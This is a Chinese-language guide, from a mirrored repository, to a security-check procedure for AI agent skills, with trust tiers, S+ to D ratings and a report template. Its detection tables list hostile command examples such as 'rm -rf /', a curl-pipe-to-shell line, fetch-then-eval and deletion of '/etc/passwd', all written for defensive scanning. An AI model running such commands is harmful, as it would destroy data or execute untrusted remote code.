mirror of
https://github.com/hansjone/oclaw.git
synced 2026-10-12 08:00:48 +08:00
oliver
dbbe3add6a
同时收敛启动与运维脚本默认行为（含 wiki worker）、更新 Admin 可观测性与相关测试，降低首轮时延并提高运行稳定性。 Made-with: Cursor
383 lines
11 KiB
Markdown
383 lines
11 KiB
Markdown
# Cocoloop Safe Check 安全检查流程指南
|
||
|
||
本文档详细描述 Cocoloop 安全检查的执行流程，基于 cocoloop-safe-check 安全认证体系。
|
||
|
||
## 检查触发时机
|
||
|
||
1. **安装前检查**（推荐）
|
||
- 用户明确请求："检查 xxx 安全"
|
||
- 来源为 T3 且用户未使用 --skip-check 参数
|
||
|
||
2. **安装后检查**
|
||
- 安装完成后询问用户是否需要检查
|
||
|
||
3. **批量检查**
|
||
- 检查所有已安装 skills
|
||
|
||
## 检查流程概览
|
||
|
||
```
|
||
开始检查
|
||
↓
|
||
定位 Skill 来源
|
||
├── 本地路径 ──→ 读取本地文件
|
||
├── Skill 名称 ──→ 在安装目录查找
|
||
├── GitHub 链接 ──→ 下载仓库内容
|
||
└── URL ──→ 下载内容
|
||
↓
|
||
提取所有代码
|
||
├── SKILL.md 中的代码块
|
||
├── scripts/ 目录文件
|
||
├── references/ 目录（检查可执行代码）
|
||
└── assets/ 目录（检查可执行文件）
|
||
↓
|
||
执行六项检查
|
||
├── 1. 代码安全性
|
||
├── 2. 数据隐私性
|
||
├── 3. 执行安全性
|
||
├── 4. 依赖可靠性
|
||
├── 5. 边界完整性
|
||
└── 6. 描述逻辑
|
||
↓
|
||
评估来源可信度 (T1/T2/T3)
|
||
↓
|
||
计算安全评级 (S+/S/A/B/C/D)
|
||
↓
|
||
生成报告 ──→ 询问保存位置 ──→ 保存报告
|
||
↓
|
||
评级 <= B? ──是──→ 强烈建议用户注意安全
|
||
↓
|
||
完成
|
||
```
|
||
|
||
## 详细检查步骤
|
||
|
||
### 第一步：定位 Skill
|
||
|
||
根据用户输入确定检查目标：
|
||
|
||
| 输入类型 | 处理方式 | 示例 |
|
||
| ----------- | ------------------ | ---------------------------------------------- |
|
||
| 本地路径 | 直接读取目录 | `~/.claude/skills/pdf-processor/` |
|
||
| Skill 名称 | 在平台安装目录查找 | `pdf-processor` |
|
||
| GitHub 链接 | 解析并下载仓库 | `https://github.com/owner/repo` |
|
||
| GitHub 短链 | 拼接完整地址 | `owner/repo` → `https://github.com/owner/repo` |
|
||
|
||
下载 GitHub 仓库内容：
|
||
|
||
1. 获取默认分支：`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`
|
||
2. 下载归档：`https://github.com/{owner}/{repo}/archive/{branch}.zip`
|
||
3. 解压到临时目录
|
||
|
||
### 第二步：提取代码
|
||
|
||
遍历 skill 目录，提取所有可执行内容：
|
||
|
||
**SKILL.md 代码块提取：**
|
||
|
||
- 正则匹配：/`(\w+)?\n([\s\S]*?)`/g
|
||
- 记录语言类型和代码内容
|
||
- 可执行语言标记：javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl
|
||
|
||
**scripts/ 目录：**
|
||
|
||
- 列出所有文件
|
||
- 根据扩展名识别类型：.js, .cjs, .mjs, .py, .sh, .rb, .pl
|
||
- 读取文件内容
|
||
|
||
**references/ 目录：**
|
||
|
||
- 检查是否包含可执行代码（按文件扩展名和内容）
|
||
|
||
**assets/ 目录：**
|
||
|
||
- 检查可执行二进制文件
|
||
|
||
### 第三步：六项检查
|
||
|
||
#### 3.1 代码安全性检查
|
||
|
||
检查危险函数和漏洞模式：
|
||
|
||
**D级触发项（一票否决）：**
|
||
|
||
| 模式 | 描述 | 示例 |
|
||
| --------------- | -------------------- | ------------------------------ |
|
||
| `eval\s*\(` | 使用 eval 执行代码 | `eval(userInput)` |
|
||
| `exec\s*\(` | 使用 exec 执行命令 | `exec(userCommand)` |
|
||
| `system\s*\(` | 使用 system 执行命令 | `system("rm -rf /")` |
|
||
| `child_process` | 引入 child_process | `require('child_process')` |
|
||
| `spawn\s*\(` | 使用 spawn 执行命令 | `spawn('sh', ['-c', cmd])` |
|
||
| `rm\s+-rf\s+/` | 系统破坏性命令 | `rm -rf /` |
|
||
| `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` |
|
||
| `fetch.*eval` | 下载并执行代码 | `fetch(url).then(r=>eval(r))` |
|
||
|
||
**C级触发项：**
|
||
|
||
| 模式 | 描述 | 示例 |
|
||
| -------------- | ---------------------------------- | -------------------------- |
|
||
| 硬编码密码 | `password\s*=\s*["'][^"']+["']` | `password = "secret123"` |
|
||
| 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"` |
|
||
| 硬编码 Token | `token\s*=\s*["'][^"']+["']` | `token = "ghp_xxx"` |
|
||
| 硬编码 Secret | `secret\s*=\s*["'][^"']+["']` | `secret = "xxx"` |
|
||
| 文件删除操作 | `fs\.unlink\s*\(` | `fs.unlink('/etc/passwd')` |
|
||
| 目录删除操作 | `fs\.rmdir\s*\(` | `fs.rmdir('/system')` |
|
||
|
||
#### 3.2 数据隐私性检查
|
||
|
||
**D级触发项：**
|
||
|
||
- 未经用户确认上传本地文件到远程（T3 来源）
|
||
- 静默收集密码、密钥等敏感信息
|
||
- 将敏感数据传输到未加密通道（http 而非 https）
|
||
|
||
**C级触发项：**
|
||
|
||
- 收集的数据超出功能说明范围
|
||
- 未明确告知用户数据使用情况
|
||
|
||
检查方法：
|
||
|
||
- 查找网络请求代码（fetch, axios, request, http.get）
|
||
- 检查请求目标 URL
|
||
- 检查请求体是否包含敏感字段名
|
||
|
||
#### 3.3 执行安全性检查
|
||
|
||
**D级触发项：**
|
||
|
||
- 执行 `rm -rf /` 或类似系统破坏性命令
|
||
- 无确认直接执行系统级危险操作（格式化磁盘、修改系统配置）
|
||
- 修改系统关键配置且无备份机制
|
||
|
||
**C级触发项：**
|
||
|
||
- 危险操作缺乏二次确认
|
||
- 关键操作无回滚机制
|
||
|
||
#### 3.4 依赖可靠性检查
|
||
|
||
检查是否加载动态代码：
|
||
|
||
- 从网络下载并执行代码
|
||
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
|
||
- 动态 `import()` 不可信来源的模块
|
||
- `require()` 远程模块
|
||
|
||
**URL 递归检查机制：**
|
||
|
||
对于动态加载的可执行文件，实施最多 2 层的 URL 递归检查：
|
||
|
||
```
|
||
第 0 层: Skill 本体代码
|
||
↓ 发现动态加载 URL
|
||
第 1 层: 下载并检查第一层动态加载的内容
|
||
↓ 如发现该层内容仍包含动态加载
|
||
第 2 层: 下载并检查第二层动态加载的内容
|
||
↓ 如第 2 层仍包含动态加载
|
||
终止递归，最高标记为 C 级（多层动态加载风险）
|
||
```
|
||
|
||
**递归检查流程：**
|
||
|
||
1. **提取 URL**：从代码中提取所有网络请求目标 URL
|
||
- `fetch('https://example.com/script.js')`
|
||
- `curl -o script.sh https://example.com/script.sh`
|
||
- `import('https://example.com/module.js')`
|
||
- `require('https://example.com/package')`
|
||
|
||
2. **逐层检查**：
|
||
- **第 1 层**：下载 URL 内容，检查是否为可执行代码
|
||
- 如果是可执行代码 → 进行安全检查（危险函数、敏感信息等）
|
||
- 如果包含新的动态加载 URL → 进入第 2 层
|
||
- **第 2 层**：下载并检查第二层内容
|
||
- 如果仍包含动态加载 → 标记为 C 级（多层动态加载）
|
||
- 记录所有发现的 URL 链
|
||
|
||
3. **风险评级规则**：
|
||
- **无动态加载**：正常评级流程
|
||
- **仅第 1 层动态加载**：根据来源分级处理
|
||
- **存在第 2 层动态加载**：最高评级为 C 级
|
||
- **第 2 层后仍有动态加载**：强制标记为 C 级
|
||
|
||
**来源分级处理（动态代码）：**
|
||
|
||
- **T1 来源**：可加载官方动态代码，放宽至 B 级要求
|
||
- **T2 来源**：动态代码需来源验证，放宽至 C 级要求
|
||
- **T3 来源**：严格禁止未经验证的动态代码加载
|
||
|
||
**多层动态加载示例（C 级）：**
|
||
|
||
```javascript
|
||
// Skill 代码（第 0 层）
|
||
fetch('https://example.com/loader.js'); // 第 1 层
|
||
|
||
// loader.js 内容（第 1 层）
|
||
import('https://another.com/runtime.js'); // 第 2 层
|
||
|
||
// runtime.js 内容（第 2 层）
|
||
fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记
|
||
```
|
||
|
||
#### 3.5 边界完整性检查
|
||
|
||
- 缺乏基本的输入验证（未检查参数类型、范围）
|
||
- 对异常情况处理不当（try-catch 缺失）
|
||
- 错误信息泄露敏感信息（堆栈跟踪包含路径、密钥片段）
|
||
|
||
#### 3.6 描述逻辑审查
|
||
|
||
- 功能描述是否清晰准确
|
||
- 安全相关行为是否有明确告知
|
||
- 是否隐瞒潜在风险
|
||
|
||
### 第四步：来源可信度评估
|
||
|
||
确定 skill 的来源等级：
|
||
|
||
**T1 - 官方/顶级来源：**
|
||
|
||
- 知名大型技术公司（Google, Microsoft, OpenAI, Anthropic, Meta, AWS）
|
||
- 顶级开源基金会（Apache, Linux 基金会）
|
||
- 有官方代码签名
|
||
|
||
**T2 - 可信组织来源：**
|
||
|
||
- 有实名认证的组织账号
|
||
- GitHub 组织账号（非个人）
|
||
- Stars > 1000 或有良好声誉
|
||
|
||
**T3 - 社区/个人来源：**
|
||
|
||
- 个人开发者账号
|
||
- 小型社区项目
|
||
- 来源无法明确验证
|
||
|
||
### 第五步：计算评级
|
||
|
||
评级判定流程：
|
||
|
||
```
|
||
检查开始
|
||
↓
|
||
发现 D 级问题？ ──是──→ D 级（一票否决）
|
||
↓ 否
|
||
发现 C 级问题？ ──是──→ C 级
|
||
↓ 否
|
||
满足 S 级要求？ ──是──→ S 级
|
||
↓ 否
|
||
满足 A 级要求？ ──是──→ A 级
|
||
↓ 否
|
||
B 级
|
||
```
|
||
|
||
**纯文档型资产**（无代码）：
|
||
| 条件 | 评级 |
|
||
|------|------|
|
||
| 无 C/D 级问题 + T1/T2 来源 | **S 级** |
|
||
| 无 C/D 级问题 + T3 来源 | **A 级** |
|
||
|
||
**代码型资产**（有脚本/可执行代码）：
|
||
|
||
S 级要求（需全部满足）：
|
||
|
||
1. **来源可信**：T1/T2 来源
|
||
2. **代码安全**：无危险函数，无注入漏洞
|
||
3. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE
|
||
4. **输入验证**：完善的参数校验和类型检查
|
||
5. **错误处理**：不暴露敏感信息，有异常处理机制
|
||
6. **权限最小化**：权限申请与功能匹配，有明确说明
|
||
7. **数据隐私**：无静默收集，用户可控制数据使用
|
||
|
||
A 级要求（需全部满足）：
|
||
|
||
1. **代码安全**：无危险函数，无注入漏洞
|
||
2. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE
|
||
3. **输入验证**：完善的参数校验和类型检查
|
||
4. **错误处理**：不暴露敏感信息，有异常处理机制
|
||
5. **权限最小化**：权限申请与功能匹配，有明确说明
|
||
6. **数据隐私**：无静默收集，用户可控制数据使用
|
||
|
||
（A 级与 S 级的区别在于：S 级要求 T1/T2 来源，A 级允许 T3 来源）
|
||
|
||
### 第六步：生成报告
|
||
|
||
报告结构：
|
||
|
||
```markdown
|
||
# Cocoloop Safe Check 安全认证报告
|
||
|
||
## 基本信息
|
||
|
||
- Skill 名称: [名称]
|
||
- 来源: [GitHub 链接/本地路径]
|
||
- 来源等级: [T1/T2/T3]
|
||
|
||
## 评级结果
|
||
|
||
评级: [S+/S/A/B/C/D]
|
||
评价: [一句话评价]
|
||
|
||
## 检查依据
|
||
|
||
### ✅ 通过项
|
||
|
||
- [检查项]
|
||
|
||
### ⚠️ 注意事项
|
||
|
||
- [注意事项]
|
||
|
||
### ❌ 问题项
|
||
|
||
- [问题项]
|
||
|
||
## 详细检查结果
|
||
|
||
[各维度详细检查结果]
|
||
|
||
## 使用建议
|
||
|
||
[推荐使用场景和安全使用指南]
|
||
```
|
||
|
||
## 报告保存流程
|
||
|
||
1. **询问用户保存位置**
|
||
- 选项：桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存
|
||
|
||
2. **根据选择保存**
|
||
- 文件名格式：`Cocoloop-认证-{skill-name}-{评级}-报告.md`
|
||
|
||
3. **展示结果摘要**
|
||
|
||
## 使用建议生成
|
||
|
||
根据评级生成使用建议：
|
||
|
||
**S+/S 级：**
|
||
|
||
- 可放心使用
|
||
- 推荐用于生产环境
|
||
|
||
**A 级：**
|
||
|
||
- 代码安全，可正常使用
|
||
- 建议了解作者背景
|
||
|
||
**B 级：**
|
||
|
||
- 无显著安全问题，但有改进空间
|
||
- 建议阅读代码后再使用
|
||
|
||
**C 级：**
|
||
|
||
- 存在潜在安全问题
|
||
- 建议在隔离环境测试后再使用
|
||
- 不建议用于处理敏感数据
|
||
|
||
**D 级：**
|
||
|
||
- 存在严重安全问题
|
||
- 强烈建议不要使用
|
||
- 如需使用，必须在完全隔离的环境中
|